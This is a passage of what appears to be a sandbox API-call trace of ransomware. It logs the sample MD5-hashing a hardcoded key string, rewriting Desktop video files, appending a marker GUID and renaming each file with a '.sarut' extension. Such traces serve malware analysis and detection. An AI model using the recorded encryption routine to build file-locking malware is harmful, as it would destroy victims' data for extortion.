lpOverlapped=0x0) returned 1 [0268.189] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.189] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.189] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.189] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.190] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.190] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.190] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.190] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.190] GetLastError () returned 0x0 [0268.190] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.190] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x5630) returned 0x311d708 [0268.190] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.190] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x5623, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x5623, lpOverlapped=0x0) returned 1 [0268.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.191] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5628, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.191] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.191] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.191] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.191] CloseHandle (hObject=0x5c4) returned 1 [0268.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.192] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y7SdTqWYI32_I2EQyR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y7sdtqwyi32_i2eqyr.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y7SdTqWYI32_I2EQyR.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y7sdtqwyi32_i2eqyr.flv.sarut")) returned 1 [0268.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.195] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.196] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308337c0, ftCreationTime.dwHighDateTime=0x1d4ccc0, ftLastAccessTime.dwLowDateTime=0x1106fb10, ftLastAccessTime.dwHighDateTime=0x1d4ce51, ftLastWriteTime.dwLowDateTime=0x1106fb10, ftLastWriteTime.dwHighDateTime=0x1d4ce51, nFileSizeHigh=0x0, nFileSizeLow=0x113c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yg8 kLfurYIaQM697h.mkv", cAlternateFileName="YG8KLF~1.MKV")) returned 1 [0268.196] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.196] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yg8 kLfurYIaQM697h.mkv") returned=".mkv" [0268.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yg8 kLfurYIaQM697h.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg8 klfuryiaqm697h.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.196] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=70599) returned 1 [0268.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.199] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x113a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.199] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.201] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.201] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x113c7, lpOverlapped=0x0) returned 1 [0268.202] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.202] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.202] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.202] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.203] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.203] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.203] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.203] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.203] GetLastError () returned 0x0 [0268.203] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.203] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x113d0) returned 0x311d708 [0268.204] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.204] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x113c2, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x113c2, lpOverlapped=0x0) returned 1 [0268.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.204] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x113c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.205] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.205] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.205] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.205] CloseHandle (hObject=0x5c4) returned 1 [0268.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yg8 kLfurYIaQM697h.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg8 klfuryiaqm697h.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yg8 kLfurYIaQM697h.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg8 klfuryiaqm697h.mkv.sarut")) returned 1 [0268.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.210] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.211] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984b4d10, ftCreationTime.dwHighDateTime=0x1d4cfe1, ftLastAccessTime.dwLowDateTime=0xbc28ef10, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0xbc28ef10, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x16c6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zDvwnZ.mkv", cAlternateFileName="")) returned 1 [0268.211] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.211] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zDvwnZ.mkv") returned=".mkv" [0268.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zDvwnZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zdvwnz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.211] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93295) returned 1 [0268.212] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.214] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16c49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.214] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.220] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.220] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16c6f, lpOverlapped=0x0) returned 1 [0268.221] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.221] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.221] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.221] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.221] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.222] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.222] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.222] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.222] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.223] GetLastError () returned 0x0 [0268.223] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.223] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16c70) returned 0x311d708 [0268.223] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.223] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x16c6a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x16c6a, lpOverlapped=0x0) returned 1 [0268.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.224] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16c6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.224] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.224] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.224] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.225] CloseHandle (hObject=0x5c4) returned 1 [0268.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0268.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.229] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zDvwnZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zdvwnz.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zDvwnZ.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zdvwnz.mkv.sarut")) returned 1 [0268.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.230] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.231] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984b4d10, ftCreationTime.dwHighDateTime=0x1d4cfe1, ftLastAccessTime.dwLowDateTime=0xbc28ef10, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0xbc28ef10, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x16c6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zDvwnZ.mkv", cAlternateFileName="")) returned 0 [0268.231] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116970 | out: hHeap=0x640000) returned 1 [0268.231] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0268.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.231] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0268.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.233] 